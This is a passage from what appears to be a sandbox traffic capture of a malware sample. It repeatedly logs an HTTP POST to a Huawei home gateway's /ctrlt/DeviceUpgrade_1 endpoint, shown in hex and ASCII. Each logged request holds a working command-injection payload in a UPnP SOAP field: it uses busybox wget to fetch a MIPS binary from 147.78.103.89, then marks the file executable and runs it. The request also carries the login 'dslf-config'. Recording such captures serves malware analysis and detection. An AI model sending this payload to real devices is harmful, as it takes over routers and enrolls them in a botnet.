xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 